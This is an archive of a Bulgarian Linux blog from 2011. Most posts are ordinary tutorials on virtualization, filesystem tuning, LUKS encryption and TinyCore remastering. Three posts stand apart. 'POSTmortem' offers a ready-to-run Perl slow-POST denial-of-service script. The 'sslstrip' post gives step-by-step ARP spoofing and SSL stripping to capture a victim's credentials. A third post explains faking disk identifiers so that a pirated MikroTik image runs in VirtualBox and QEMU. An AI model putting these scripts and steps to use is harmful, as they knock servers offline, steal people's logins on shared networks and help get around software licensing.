понеделник, 5 декември 2011 г.

OTPW – A one-time password login package

http://www.cl.cam.ac.uk/~mgk25/otpw.html

Въпреки че е проект на възраст който дори може да се счете за discontinued
ОТPW дава идея която може да намери приложение на твърде много места за да я пренебрегнем.

Ускоряване на linux boot процеса (както и app startup time) чрез Physical Block Reallocation


E4RAT - Improving Startup Times by Physical Block Reallocation
http://e4rat.sourceforge.net/

Резултатите са впечатляващи!
За момента не съм го пробвал, но обещавам като го пробвам да споделя личните си наблюдения.

неделя, 4 декември 2011 г.

VMX и Nested KVM

След няколко дни борба в крайна сметка открих, че поради архитектурните особености на Intel процесорите и по-специално VMX флага, създаването на вложени (Nested) виртуални машини с KVM ускорение е много слабо подържано и във всички релиизи на KVM модула е със статус 'експериментално'.

За по-слабо запознатите - Nested KVM е ситуация при която върху една хост машина се пуска гостуваща такава отново с KVM възможности с идеята тя да бъде сама по себе си хост за друга виртуална машина. Това по същество налага предаването на VMX флага към гост машините.

Тук ще споделя частичното решение което намерих.



Лимити:
Хайпервайзорите (виртуалните машини) които трябва да могат да изпълняват други машини могат да бъдат само 64 битови.

Ядро:

Въпреки, че не съм пробвал за версия 3.1 на Linux kernel-a също се твърди, че има тези възможности.

Аз обаче тъй като съм консервативен предпочитам все още да използвам 2.6.x kernel tree. Ето как можем да го направим по този начин:




  • Git-ваме си сорса от тук https://github.com/nyh/kvm-nested-vmx/tree/nvmx10
  • конфигурираме ядрото по собствен вкус
  • компилираме (и модулите)
  • инсталираме (и модулите)
стартираме това ядро и изпълняваме modprobe kvm_intel nested=1

за да сте сигурни може да изпълните modinfo kvm_intel за да видите дали опцията nested съществува.

QEMU:
Тествано е с версия 0.15
Единствената особеност е, че трябва да му кажем cpu-то на госта да има VMX:

С флаговете на хоста (в които разбира се има vmx)
-cpu host        

Cъс cpu-то което сме му казали но дава и vmx flag
-cpu <някое от подържаните cpu-та>,+vmx




За да видите какви cpu-та може да ползвате '-cpu ?'


четвъртък, 24 ноември 2011 г.

Подкарване на mikrotik 5.7 на виртуална машина различна от VMware

Наскоро на пиратската сцена излезе новият mikrotik 5.7 под формата на VMware-ски имидж. Под vSphere server тествано работи добре, но за потребителите на други платформи за виртуализация ето кратък туториъл.


За подкарване на мт 5.7 на virtualbox (3.1.6 OSE):

1. Създава се виртуална машина с хард диск vmdk файла
2. Тип на IDE контролера е PIIX4
3. От терминала се изпълняват командите
VBoxManage setextradata mt "VBoxInternal/Devices/piix3ide/0/Config/PrimaryMaster/FirmwareRevision" "string:00000001"
VBoxManage setextradata mt "VBoxInternal/Devices/piix3ide/0/Config/PrimaryMaster/ModelNumber" "string:VMware Virtual IDE Hard Drive"
VBoxManage setextradata mt "VBoxInternal/Devices/piix3ide/0/Config/PrimaryMaster/SerialNumber" "string:00000000000000000001"
4. Пускате машината и всичко работи :)
(Забележка: диск файла не трябва да е стартиран преди изпълнение на командите от точка 3)

За подкарване на мт 5.7 с qemu (qemu-kvm-0.12.3) 

Примерите са под Ubuntu 10.04:
1. аpt-get source qemu
2. cd qemu-kvm-0.12.3+noroms
3. във hw/ide/core.c файла:
на ред 114 променяме
padstr((char *)(p + 10), s->drive_serial_str, 20); /* serial number */
на
padstr((char *)(p + 10), "00000000000000000001", 20); /* serial number */

на ред 118 променяме
padstr((char *)(p + 23), s->version, 8); /* firmware version */
на
padstr((char *)(p + 23), "00000001", 8); /* firmware version */

на ред 119 променяме
padstr((char *)(p + 27), "QEMU HARDDISK", 40); /* model */
на
padstr((char *)(p + 27), "VMware Virtual IDE Hard Drive", 40); /* model */

4. ./configure
5. make
6. по избор "make install" или може да си го ползвате от директорията
7. в директория pc-bios се слагат файловете:
    bios.bin
    vgabios-cirrus.bin
    pxe-rtl8139.bin
   
    могат да се намерят на
    http://svn.savannah.gnu.org/viewvc/*checkout*/trunk/pc-bios/bios.bin?root=qemu
    http://svn.savannah.gnu.org/viewvc/*checkout*/trunk/pc-bios/vgabios-cirrus.bin?root=qemu
    http://svn.savannah.gnu.org/viewvc/*checkout*/trunk/pc-bios/pxe-rtl8139.bin?root=qemu

8. конвертирате vmdk имиджа
qemu-img convert "MikroTik v5.xx.vmdk" -O qcow2 mt5.qcow2

9. стартирате с имидж mt5.qcow2
пример:
./x86_64-softmmu/qemu-system-x86_64 -drive file=mt5.qcow2



Наличието на подробно описание за това как да се възползваме от  пиратски софтуер не е оправдание за употребата му!



Статията е публикувана единствено с научна цел и автора отрича да се е докосвал до въпросният пиратски софтуер.


понеделник, 21 ноември 2011 г.

Как да възстановим изтрит файл в linux

Например изтритият файл е access_log на Apache. Какво да направим:

lsof | grep access_log

Ще ни даде output от вида:
httpd 26120 apache 42w REG 253,0 5852 12222531 /apachelogs
/access_log (deleted)

важно е в случая е да запомним pid-a: 26120 и fd-то: 42. Знаейки това можем да си върнем файла като изпълним следната команда:


cat /proc/26120/fd/42 > /apachelogs/access_log


В случая с Apache, добра идея е да рестартираме сервиса след това.


Happy end!

Ето и един линк с визуални примери за други lsof приложения:
http://danielmiessler.com/study/lsof/

събота, 23 юли 2011 г.

Ninite automated windows apps installer

Преди няколко дни ми попадна изключително интересният софтуер Ninite който представлява приложение което автоматично инсталира и ъпдейтва софтуера на Windows машина.

За момента листът със софтуера не е много голям, но както установих - напълно достатъчен.

Принципа на действие е следният:

1. Отваряте http://ninite.com/
2. Накликвате си приложеният които искате да се инсталират на вашата машина.
3. Сваляте инсталера (едно exe).
4. Стартирате го и всичко се инсталира автоматично.



Пожелавам успех на проекта и дано се развива все така free! :)

понеделник, 11 юли 2011 г.

Най-полезните GCC опции

Попадна ми интересна статия (под формата на справочник) за най-полезните опции и екстенжъни (extensions) на компилатора gcc.

Ето линк: http://www.antoarts.com/the-most-useful-gcc-options-and-extensions/

неделя, 3 юли 2011 г.

pkg-config е чудесно творение

Днес ми се наложи да компилирам C код в който се употребява  SDL.
Тъй като не съм ползвал SDL до сега разбира се имах проблеми с компилацията, но това ме доведе до откриването на pkg-config.

 Ето примерна употреба:

g++ `pkg-config --cflags sdl` `pkg-config sdl --libs` hello.cpp -o hello

Как да превърнем C в скриптов език

Кратък отговор:
поставете това като първи ред във вашият C код.
//&>/dev/null;x="${0%.*}";[ ! "$x" -ot "$0" ]||(rm -f "$x";cc -o "$x" "$0")&&exec "$x" "$@"

дайте права на файла с кода (Да! На something.c файла)

изпълнете кода ;)

Дълъг отговор:
https://gist.github.com/448040

понеделник, 20 юни 2011 г.

Timestamps в различните езици

Тази сутрин ми притрябва да пиша чрез Perl в SQLite базичка в която една от таблиците има Timestamp_Current и се лепи само при insert. Обаче при select, в where клаузата се сетих че ще ми трябва този timestamp да си го пиша аз. Винаги при select на какъвто и да е език, в каквато и да е база винаги съм се лутал средно поне по 30 минути за да намеря правилните формати за timestamp с правилния код.

http://www.epochconverter.com/

По-надолу в страницата има примери за най-известните езици и бих казал че спестява доста време ;)


ondemand vs. performance



След целодневни опити да отгатна защо графиката (факториел към време) рязко се променя(почти прекъсва), най-сетне се усетих, че на ubuntu-то си имам cpufreq скалинг, който влияе на резултатие. Ето графиките при различните режими:

OnDemand:


Интересна графика, която, като се има предвид, че езика, на който пиша в момента е erlang, за мен говореше, че тази безграничност на променливите му на заден план съвсем не е с линейна графика, а по-скоро, както на публикуваната горе графика, е стъпаловидна (излишно е да казвам колко се развълнувах че - "Аха! Открих нещо... сега многонишковите ми програми ще
   са суперефективни"). Да обаче се оказва че след като пуснах cpufreq-а    с    governor performance, нещата лъснаха. Ето графика на същата функция        при различният governor.

Performance:



Интересно е да се отбележи, че въпреки загубеното време и напразните надежди, разбрах че сменянето на честотата става доста по-късно от това, което се показва по отговорните файлове ( /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_cur_freq и други в същата директория).

Целият тест продължава повече от 40 секунди; промените в честотата се отразяват по файловете през първата секунда; от графиката е видно че стават ефективни доста по-късно.

сряда, 18 май 2011 г.

Често използвани методи за оптимизация на Линукс десктоп машини


[Файлови системи]

<Най-често използвани файлови системи>

* XFS - Отлична производителност при работа с големи файлове. Бавна при работа с малки файлове.
* ReiserFS - Отлична производителност при работа с малки файлове.
* ext3 - Добра обща производителност, добра надеждност.
* ext4 - Добра обща производителност, добра надеждност, леки проблеми с производителността при работа с sqlite и други бази данни.
* JFS - Добра обща производителност, много ниско натоварване на централния процесор.
* Btrfs - Добра обща производителност (по-добра от ext4), добра надеждност(стига да излезе стабилна версия), много възможности, все още активно се разработва. Не използвайте тази файлова система преди да има официална стабилна версия, освен ако наистина знаете какво правите и сте подготвени за потенциална загуба на данни.




Индексиране на директории

Тази опция ускорява достъпа до файлове в директории, които съдържат много файлове, като използва бинарни дървета за да съхранява информацията за директориите. Напълно безопасно е да се използва, като подобрението е значително в повечето случаи. Поради тази причина е добра идея индексирането да бъде включено:

# tune2fs -O dir_index /dev/hdXY

Това ще има ефект само върху директории, които са създадени след изпълнението на тази команда. За да се приложи върху вече съществуващи директории можете да използвате e2fsck, но имайте предвид, че файловате система не трябва да бъде монтирана т.е. трябва да заредите от livecd:

e2fsck -D -f /dev/hdXY

Toва работи както на ext2 така и на ext3 файлови системи. В зависимост от размера на файловата система това може да отнеме доста време.



<Компресиране на /usr>

Това е един много ефективен начин да се ускори четенето от хард диска, тъй като така информацията, която трябва да бъде прочетена е значително по-малко. Разбира се при използването на компресия централния процесор се натоварва допълнително, но това не се забелязва при използването на относително съвременен процесор и при положение, че повечето от файловете в /usr са с малък размер. Някои файлови системи поддържат фонова компресия (например Btrfs и ReiserFS4), но техния коефициент на компресия е ограничен от 4К размер на блока. Добра алтернатива е да се използва SquashFS за компресиране на /usr с размер на блока 64К(128К). По този начин се спестява много място, обикновено две трети от некомпресираното /usr, и по-важното е, че приложенията се стартират доста по-бързо. Недостатък е, че промените, които се извършват в /usr се записват некомпресирани. Toва се постига като се използва aufs в комбинация със SquashFS. Необходимо е периодично SquashFS имиджа да се рекомпресира за да се отразяват промените в /usr.

Необходими пакети са aufs2 и squashfs-tools. SquashFS е налична в Линукс ядрото, а aufs е достъпна като пакет за повечето дистрибуции.

Команди:

# mkdir -p /squashed/usr/{ro,rw}

В /squashed/usr/ro ще се монтира SquashFS имиджа, а в /squashed/usr/rw ще се зписват промените, които се правят в /usr. След това двете директории се монтират чрез Aufs2 в /usr.

За да компресираме /usr в SquashFS имидж използваме:

# mksquashfs /usr /squashed/usr/usr.sfs -b 65536

За да може архива да се монтира заедно с директорията за промените при boot, трябва да променим /etc/fstab:

# nano /etc/fstab

добавяме следните редове:

/squashed/usr/usr.sfs /squashed/usr/ro squashfs loop,ro 0 0
usr /usr aufs udba=reval,br:/squashed/usr/rw:/squashed/usr/ro 0 0

След като запишем файла можем да рестартираме. Оригиналния автор препоръчва да се изтрие старото /usr, но в зависимост от дистрибуцията това може да доведе до проблеми при boot и при рекомпресиране на SquashFS имиджа. За по-сигурно препоръчвам оригиналното /usr да се остави или като компромисен вариант, с цел спестяване на място, може да се замени с /usr от чиста инсталация на дистрибуцията с инсталирани само aufs2 и squashfs-tools.

С цел допълнително ускоряване SquashFS имиджа може да се постави на USB флаш памет. Това може да звучи глупаво, защото четенето от флашка е много по-бавно от четенето от хард диска, но това е вярно само при последователно четене. При произволен достъп флашката е значително по-бърза. Такава постановка може да се сравни с "технологията на Microsoft®" Vista ReadyBoost.

Tестовете, които съм провел са извършени на лаптоп Gateway ID49c с Gentoo (2.6.38) и флаш памет (Verbatim Store 'n' Go). Преди компресията /usr заемаше около 8G, а след това около 2G.

Kато за начало тествах някои програми за колко време се стартират:

без SquashFS:

boot до GNOME десктоп със стартирани AWN, wbar, conky, compiz-fusion, yakuake: 65 cek.

firefox: 6 cek.
OpenOffice Writer: 5 cek.
gimp: 13 cek.
vlc: 6 cek.
opera: 5 cek.
Qt Designer: 8 cek.


със SquashFS като имиджа е на хард диска:

boot до GNOME десктоп със стартирани AWN, wbar, conky, compiz-fusion, yakuake: 41 cek.

firefox: 3 cek.
OpenOffice Writer: 3 cek.
gimp: 6 cek.
vlc: 1,5 cek.
opera: 3 cek.
Qt Designer: 5 cek.


със SquashFS като имиджа е на флаш памет:

boot до GNOME десктоп със стартирани AWN, wbar, conky, compiz-fusion, yakuake: 36 cek.

firefox: 3 cek.
OpenOffice Writer: 3 cek.
gimp: 4 cek.
vlc: 1,5 cek.
opera: 2 cek.
Qt Designer: 4 cek.


В случай, че намирате тези тестове за несериозни съм извършил по-тежки тестове както препоръчва оригиналния автор:

без SquashFS:

# time find /usr -type f -printf "%s %p\n" | sort -R | awk '{ printf $2; printf "\n" }' > /sort
real 3m43.513s

# time cpio -o --quiet -H newc < sort > /dev/null
real 59m51.432s

със SquashFS като имиджа е на хард диска:


# time find /usr -type f -printf "%s %p\n" | sort -R | awk '{ printf $2; printf "\n" }' > /sort
real 0m23.814s

# time cpio -o --quiet -H newc < sort > /dev/null
real 11m45.367s

със SquashFS като имиджа е на флаш памет:


# time find /usr -type f -printf "%s %p\n" | sort -R | awk '{ printf $2; printf "\n" }' > /sort
real 0m33.935s

# time cpio -o --quiet -H newc < sort > /dev/null
real 8m24.090s

За рекомпресиране и обновяване на SquashFS имиджа може да използвате следния скрипт:

#!/bin/bash

#This script comes with ABSOLUTELY NO WARRANTY use it at your own risk!

mksquashfs /usr /squashed/usr/usr_tmp.sfs -b 65536
umount -l /usr
umount -l /squashed/usr/ro
rm /squashed/usr/usr.sfs
mv /squashed/usr/usr_tmp.sfs /squashed/usr/usr.sfs
rm -rf /squashed/usr/rw/*
mount /squashed/usr/ro
mount /usr



[CPU]



2.6.38 ядрото представя една съвсем нова система за разпределяне на процесорното време между процесите, която значително подобрява времето за реакция на системата при средно и високо натоварване. За да се използва системата в ядрото трябва да са включени:

-> General setup
-->Control Group support[CONFIG_CGROUPS](CGROUPS )
--->Group CPU scheduler[CONFIG_CGROUP_SCHED](CGROUP_SCHED)
---->Group scheduling for SCHED_OTHER[FAIR_GROUP_SCHED]


Verynice

Verynice е демон, който динамично променя приоритетите (nice levels) на процесите. Използването му е сравнително лесно - в /etc/verynice.conf се дефинират goodexe програми които трябва да има висок приоритет например X, мултимедийни програми и др. Също така там се дефинират и badexe програми, които работят във фонов режим и използват много от ресурсите на централния процесор. Това приоритизиране на процесите значително подобрява времето за реакция на системата при голямо натоварване.


[Prelink]

Повечето приложения използват споделени библиотеки. Teзи споделени библиотеки трябва да бъдат заредени в оперативната памет по време на изпълнение. За повечето малки приложения динамичното свързване се осъществява бързо, но за програми писани на C/C++, които имат много библиотечни зависимости, динамичното свързване може да отнеме значително време.

На повечето системи споделените библиотеки не се променят много често, а операциите, които се извършват за динамично свързване всеки път отнемат едно и също време. Prelink се възползва от това като свързва дънамичните библиотеки във изпълнимия файл.

Prelink може значително да намали времето за стартиране на приложенията. Например за едно KDE приложение времето може да бъде намалето до 50%. Единственото условие това да се поддържа е когато има промяна в споделените библиотеки prelink да се изпълни повторно.

След като имаме инсталиран prelink на системата можем да го стартираме по следния начин за да промени всички изпълними файлове в директориите изброени в /etc/prelink.conf:

# prelink -amR

Aко в даден момент размислите и решите да върнете изпълнимите файлове в оригиналния си вид само трябва да изпълните:

# prelink -au




Връзки:

https://wiki.archlinux.org/index.php/Maximizing_Performance
https://wiki.archlinux.org/index.php/Ext3_Filesystem_Tips
https://wiki.archlinux.org/index.php/Ext4#Improving_performance
https://wiki.archlinux.org/index.php/JFS_Filesystem#Optimizations
https://wiki.archlinux.org/index.php/Maximizing_Performance#XFS
https://wiki.archlinux.org/index.php/Maximizing_Performance#Reiserfs
https://wiki.archlinux.org/index.php/Maximizing_Performance#BTRFS
http://forums.gentoo.org/viewtopic-t-646289.html
http://www.linuxfordevices.com/c/a/News/Linux-2638-released/
http://forums.gentoo.org/viewtopic-t-869309.html?sid=82ed6f95c7818a61a8902b257469f9fa
http://www.gentoo.org/doc/en/prelink-howto.xml
https://bbs.archlinux.org/viewtopic.php?id=88515
https://bbs.archlinux.org/viewtopic.php?pid=714052

неделя, 15 май 2011 г.

Криптиран партишън с Luks

Наскоро се сдобих с нов външен хард диск. Проблема с външните дискове е, че лесно могат да бъдат загубени или задигнати а поставената на тях информация да излезе наяве което никога не е приятно ако информацията е лична.
За тази цел реших да криптирам диска си, но исках лесно да мога да го достъпвам и менежирам. Това ме доведе до Luks - http://code.google.com/p/cryptsetup/

Ето как се прави криптирането с лукс
sudo apt-get install cryptsetup
инсталираме си необходимият пакет
приемаме че диска се разпознава като /dev/sdb
sudo dd if=/dev/zero of=/dev/sdb bs=4K
OR
sudo badblocks -c 10240 -s -w -t random -v /dev/sdb
OR
sudo dd if=/dev/urandom of=/dev/sdb bs=4K


пречистваме диска за да може да не се злоупотреби със стара информация по него
метода с /dev/urandom e най-сигурен и най-бавен (/dev/random е още по-сигурен и ооооще по-бавен)

Аз избрах badblocks метода който е доста по-бърз и едновременно с това проверява диска за лоши сектори като
пише произволна информация базирана на pattern и после чете от нея.

sudo fdisk /dev/sdb
създаваме си partition table и partition от тип 83 на диска.

sudo modprobe dm-crypt
sudo modprobe sha256
sudo modprobe aes

зареждаме необходимите модули за алгоритмите които сме си избрали да използваме

sudo cryptsetup --verify-passphrase luksFormat /dev/sdb1 -c aes -s 256 -h sha256
криптираме партишъна с избраните алгоритми (ще поиска да поставим парола - ЗАПОМНЕТЕ Я!)
има и други от които можем да изберем за криптация и хеш (man cryptsetup)

sudo cryptsetup luksOpen /dev/sdb1 securebackup
отваряме криптирания дял (ще ни поиска паролата)

sudo mkfs -t ext3 -m 1 -O dir_index,filetype,sparse_super /dev/mapper/securebackup
създаваме партишън вътре в криптирания дял
-t ext3 - ext3 партишън

-m 1 - намаля процента резервирани блокове за super user-a до 1 процент (0 също е опция)

-O dir_index - ускорява търсенето в директория

-O filetype - запазва filetype информация в директориите (с цел ускорение на работата)

-O sparse_super - създава по-малко super block backups (полезно при големи партишъни)

Готово! Най-лесният начин да употребявате новият си криптиран диск е просто да го включите. Повечето съвременни дистрибуции ще го монтират автоматично като в процеса ще поискат парола

Ако ви се наложи на ръка да го затворите използвайте:
sudo cryptsetup luksClose securebackup

TinyCore на ext партишън на USB (и не само)

Идеята на този вид инсталация е да имате възможност за boot на tinycore който сте променили по ваш вкус или пък сте оставили в оригиналният му вид.
Това което можете да постигнете е:
- persistance
- минимална употреба на ram
- възможност за предварително интегриране на пакети и настройка в tinycore

Стъпка по стъпка:
1. Изтегляме си последната версия на tinycore
2. Променяме дистрибуцията по наш вкус:
    - отваряме iso файла:
      mount -o loop tinycore-current.iso /mnt/
    - копираме съдържанието в предварително създадена за целта директория (аз съм я кръстил newiso)
      cp -R /mnt/* /home/peach/newiso
    - създаваме си директория tce в newiso (използва се за поставяне на пакети и конфигурация на поведението при зареждането на пакетите)
    - създаваме директория в tce с име optional и вътре поставяме пакетите (с разширение tcz - пакети можете да намерите в http://distro.ibiblio.org/tinycorelinux/3.x/tcz/  - само имайте грижата да поставите и депендънситата на избраните пакети)
    - в директорията tce поставяме файловете:
onboot.lst в който описваме пакетите които искаме да се инсталират при boot
copy2fs.flg - с празно съдържание ако искаме всички пакети да се копират в /opt (ЗАБЕЛЕЖКА: в зависимост от последващата конфигурация /opt може да се намира и в рам-а така че съответният флаг файл е важен ако искаме новото ни tiny да работи и без USB/CDROM/HDD/NFS след като веднъж стартира copy2fs.lst - ако искаме само някой от пакетите да се заредят в трайно в /opt ги описваме тук ( при това положение flg файла не е нужен.
    - за да правим промени по init файла трябва първо да го декомпресираме и разархивираме (направете си отделна директория за него пр. /home/peach/newinit)
cp /home/peach/newiso/boot/tinycore.gz /home/peach/newinit
cd /home/peach/newinit
gunzip tinycore.gz
cpio -idm < tinycore
.
правим промени каквито ни се искат
.
и идва ред да пакетираме init-a
find ./ | cpio -H newc -o > ../tinycore2
gzip tinycore2

копираме новият инит на мястото на стария  в boot
cp /home/peach/tinycore2.gz /home/peach/newiso/boot/tinycore.gz
до тук сме променили инита като сме му сложили конфигурации и файлове каквито са ни нужни, също така сме поставили пакети които ще се зареждат (или не при стартиране).
В този момент ако искате да произведете iso за да го напишете на диск или да използвате UNetBootin за създаване на boot девайс трябва да изпълните следната команда:
mkisofs -l -J -V TC-custom \
-no-emul-boot -boot-load-size 4 -boot-info-table \
-b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat \
-o TC-remastered.iso newiso


С това получаваме новото iso с промени и пакети по наш вкус.

3.Тази точка покрива направата на boot девайс по старомодният начин което дава определени екстри като лесен механизъм за промяна на пакетите и като цяло boot процеса

Оригинален източник: http://fragilematter.blogspot.com/2010/09/installing-tiny-core-linux-on-usb-drive.html

3.1 подготвяме диска/USB-то
fdisk /dev/sdX
 C - спира dos compatiability
 U - започва да показва всичко в сектори вместо цилиндри
 О - правим нов partition table
 N - нов partition
 P - primary
 1 - първи
 Т - тип на партишъна
 83 - linux тип
 А - active
 1 - нашият (става активен)
 W - записваме промените (ще ви изтрие всичко на медията която ползвате така че ако има нещо важно по-добре си направете backup) 


Сега след като имаме партишън е време да му направим файлова система ext2 отгоре:
mkfs.ext2 -L "tc" /dev/sdX1
правим файлова система с лейбъл tc - това можете да промените по ваш вкус

за да сме сигурни че ядрото е наясно с промените монтираме и демонтираме партишъна 
 mount /dev/sdX1 /mnt
 eject sdX1 или umount /dev/sdX1


Ако сте следвали предишните стъпки за промени по iso-то или поне копирането му в директория newiso следва да преместим нещата съдържащи се в него на подготвеният партишън (който отново ще монтираме - за целта предполагам че ващата дистрибуция автоматично го е монтирала в /media/tc)

cp -R /home/peach/newiso/boot /media/tc/
cd /media/tc/boot/
mv isolinux extlinux
mv extlinux/isolinux.cfg extlinux/extlinux.conf
rm extlinux/isolinux.bin

cp -R /home/peach/newiso/tce /media/tc/ (ако не сме я създавали в newiso можем да я направим директно в /media/tc)

mkdir /media/tc/opt

blkid -s UUID /dev/sdX1 (това ще ни даде стринг във вида /dev/sdX1: UUID="{some long string})
копирайте частта UUID="{some long string} защото ще я използваме.

Отворете extlinux/extlinux.conf в любимият си текстов едитор и на реда започващ с  append initrd= накрая добавете
 waitusb=5 tce=UUID="..." restore=UUID="..." home=UUID="..." opt=UUID="..."
 
 като на мястото на UUID="..." сложете стринга копиран след изпълнението на blkid командата.

тези опции указват:

waitusb=5 - ще изчака 5 секунди преди да потърси usb-то (това се налага в случай че устройството не се инициализира достъчно бързо)


tce=.. - къде е tce директорията
restore=.. - къде tinycore ще запазва рестор файловете си
home=... - същото за home директорията
opt=.. - и opt директорията

имайте предвид че ако искате дистрибуцията да се зарежда изцяло в паметта трябва да махнете restore,home и opt опциите и да добавите copy2fs.flg в tce директорията

можете да добавите и други опции (описани са в  boot/isolinux или boot/extlinux ако вече сте я преименували във файловете f2, f3 и f4)

почети сме готови остава само да си гарантираме че устройството ще е boot-ващо

extlinux -i /media/tc/boot/extlinux (изисква инсталиран пакет syslinux)
cat /usr/share/syslinux/mbr.bin > /dev/sdX - инсталираме MBR на устройството (файла mbr.bin може да се намира на друго място във вашата дистрибуция)

С това сме готови остава единствено да демонтираме устройството и да запалим от него
eject tc

Успех и честито на притежателите на ново,променено по собствен вкус и с пакети по собствен избор boot-ващо от USB - tinycore. 


четвъртък, 21 април 2011 г.

Portable Linux Apps

 http://portablelinuxapps.org/
Преди броени минути открих сайт който предлага пакетирани множество linux приложения заедно с всички техни депендънсита. За непросветените това ги прави portable. Местим си ги където искаме и те работят по един и същи начин ... край на кавките между библиотеките!

Просто като идея ...
TinyCore =10MB
няколко необходими приложения ~ 100MB
всичко това опаковано =priceless :)

POSTmortem

След като чух за атаката slowloris и в последствие за вариация при която се атакува пост заявката (което носи IIS bonus).
Започнах да издирвам начин за практическа проверка на атаката. Това доведе до откриването на rudy (R-U-Dead-Yet) който обаче се оказа твърде бъгъв и зле написан за да доведе до реални резултати.
За радост обаче аз не мога да пиша на perl което задължително означаваше, че ще опитам. Резултата е POSTmortem.

Употребата на всичко в поста и целия блог а и целия свят си е на ваша отговорност! Ако това ще ви накара да си мислите по-хубави неща за мен ... е тогава публикацията е от чисто научен характер и няма за цел да събори някой сървър.

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use threads;

my $host = "хоста за тест";
my $port = 80;
my $tcpto = 5;
my $post = "action скрипта който обработва пост заявката";

my $sock;
my $attack_param = "пост параметъра който ще тестваме";

my $a = 0;
my $i = 1;
my $num = 2; #брой нишки и съответно конекции (всяка яде по 1М рам)
my @thrs;
while ( $i < $num ) {
print "Spawning thread: $i\n";
$thrs[$i] = threads->create( \&conn);
  sleep 18; #интервал между събуждането на нова нишка
$i++;
}

print "waiting for threads to finish";
map {my $k = $_->join} threads->list;

sub conn {
my $primarypayload =
"POST /$post HTTP/1.1\r\n"
. "Host: $host\r\n"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  . "Content-Length: 100000000\r\n" #колкото повече толкова повече
. "Connection: keep-alive\r\n"
. "Cookie: ако се налага(формата е: нещо=нещо; нещо2=нещо–друго)\r\n"
. "\r\n"
. "$attack_param=\r\n";

if (
$sock = new IO::Socket::INET(
# LocalAddr => "$laddr",
PeerAddr => "$host",
PeerPort => "$port",
Timeout => "$tcpto",
Proto => "tcp",
)
)
{
print $sock "$primarypayload";
print "[-]Header Send!\n";
}
else {
print "[*]Error - Cannot create socket!\n";
}

while(1) {
sleep 10; #през колко време ще му пращаме по капка
print $sock "x"; #капката
}
} 

EOF  

TODO 
ако на някой му се занимава може да го направи да приема опциите от командния ред за да не се рови из кода и да напише всяка нишка да буди по повече от 1 конекция.  

sslstrip

Всичко написано в този пост се ползва на собствена отговорност и никой освен Вас няма да е виновен ако си счупите главата!(и като стана дума, това важи за информацията в целия блог)

Този пост е вдъхновен от пост на колегата Singu в http://chzv.net.
По-точно този пост http://chzv.net/security/sslstrip-over-wifi

Тук ще си говорим за по-различен случай при който дали атаката е върху wifi или не няма значение.

Целта е да се хваща стрипнат от ssl криптация поток от информация.

Ето упътване стъпка по стъпка:

1. Сваляме и разпакетираме инструмента - sslstrip:
# wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
# tar zxvf sslstrip-0.7.tar.gz
Тук е момента да се чувствате като дете което отваря коледен подарък :)


2.  Настройки на системата, рутиране и sslstrip
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
# python sslstrip.py -f -w sslcreds-captured

пренасочваме целят идващ трафик на порт 80 към порт 10000 (дефолтния порт за sslstrip и пускаме sslstrip да записва каквото си е намерил във файла sslcreds-captured

3. Време за отрова
# arpspoof -i eth0 -t 192.168.0.141 192.168.0.254

където 192.168.0.141 е жертвата а 192.168.0.254 - gateway-ят

4. Чакаме

5. Четем файла sslcreds-captured
Какво ли има там ?!

iptables l7 в debian

Това е туториъл който намерих оригинално на
http://ogordo.com/instalacao-do-layer7-no-debian/

Там е на някакъв език който аз определям като испански но не мога да съм сигурен. Прекарах го през google translate и не съм много сигурен колко успешен е превода но аз лично тествах командите които е изпълнявал автора и мога да кажа че довеждат до работеща система с layer 7 подръжка. Като бонус получаваме дебиански пакет :)

Забележка: Авторите на iptables предупреждават че той съвсем не е направен за такъв тип филтрирания. Така че ... знаете си всичко е на ваша отговорност :)

Implementing layer7 Linux Debian Lenny with kernel 2.6.28 and iptables 1.4.2. After several attempts to recompile the kernel on Debian Lenny layer7 to implement and suffer a lot with the famous message "kernel panic, I managed to recompile it in accordance with the commands below.

Installing needed packages:
# aptitude install libncurses5-dev
# aptitude install kernel-package
# aptitude install zlib1g-dev 


Enter the source directory and download files.

# cd / usr / src
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2
# wget http://www.netfilter.org/projects/iptables/files/iptables-1.4.2.tar.bz2
# wget http://downloads.sourceforge.net/l7-filter/netfilter-layer7-v2.21.tar.gz
# wget http://downloads.sourceforge.net/l7-filter/l7-protocols-2008-04-23.tar.gz
# wget http://merkel.debian.org/~jurij/2.6.28-1/i386/config-2.6.28-1-686.gz

Removing iptables:

# aptitude purge iptables

Unpacking the packages:

# tar jxvf linux-2.6.28.tar.bz2
# tar jxvf iptables-1.4.2.tar.bz2
# tar zxvf netfilter-layer7-v2.21.tar.gz
# tar zxvf l7-protocols-2008-04-23.tar.gz
# uncompress config-2.6.28-1-686.gz

Creating a link to the kernel directory:

# ln -s /usr/src/linux-2.6.28 /usr/src/linux

Copying the boot settings and applying patches to the kernel layer7:

# cd /usr/src/linux
# cp ../config-2.6.28-1-686 .config
# patch -p1 < ../netfilter-layer7-v2.21/kernel-2.6.25-2.6.28-layer7-2.21.patch

Compiling and installing kernel
# make oldconfig
(Enter for all questions)

# Make menuconfig

Enter the directory Networking -> Networking Options -> Network Packet Filtering framework (netfilter) -> Core Netfilter Configuration

Select the modules (M) layer7 match and support (M) string match support

(M) layer7 match support #MARK AS MODULE
(M) string match support  #MARK AS MODULE

Exit through the exit, the last screen, choose save to the. Config, ie, the last exit you will be prompted to save. Now it's simple, just compile.

# make-kpkg -initrd kernel_image

It was created a linux-image-file-2.6.28_2.6.28 10.00.Custom_i386.deb in / usr / src directory and install again.

# cd /usr/src
# dpkg -i linux-image-2.6.28_2.6.28-10.00.Custom_i386.deb


Pronto, the new kernel is already installed.

Applying the patches and installing iptables
Type:

# cd /usr/src/iptables-1.4.2

Copy the files to the directory libxt_layer7.c libxt_layer7.man iptables:

# cp ../netfilter-layer7-v2.21/iptables-1.4.1.1-for-kernel-2.6.20forward/* extensions/
Installing iptables:

# ./configure –with-ksource=/usr/src/linux
# make
# make install
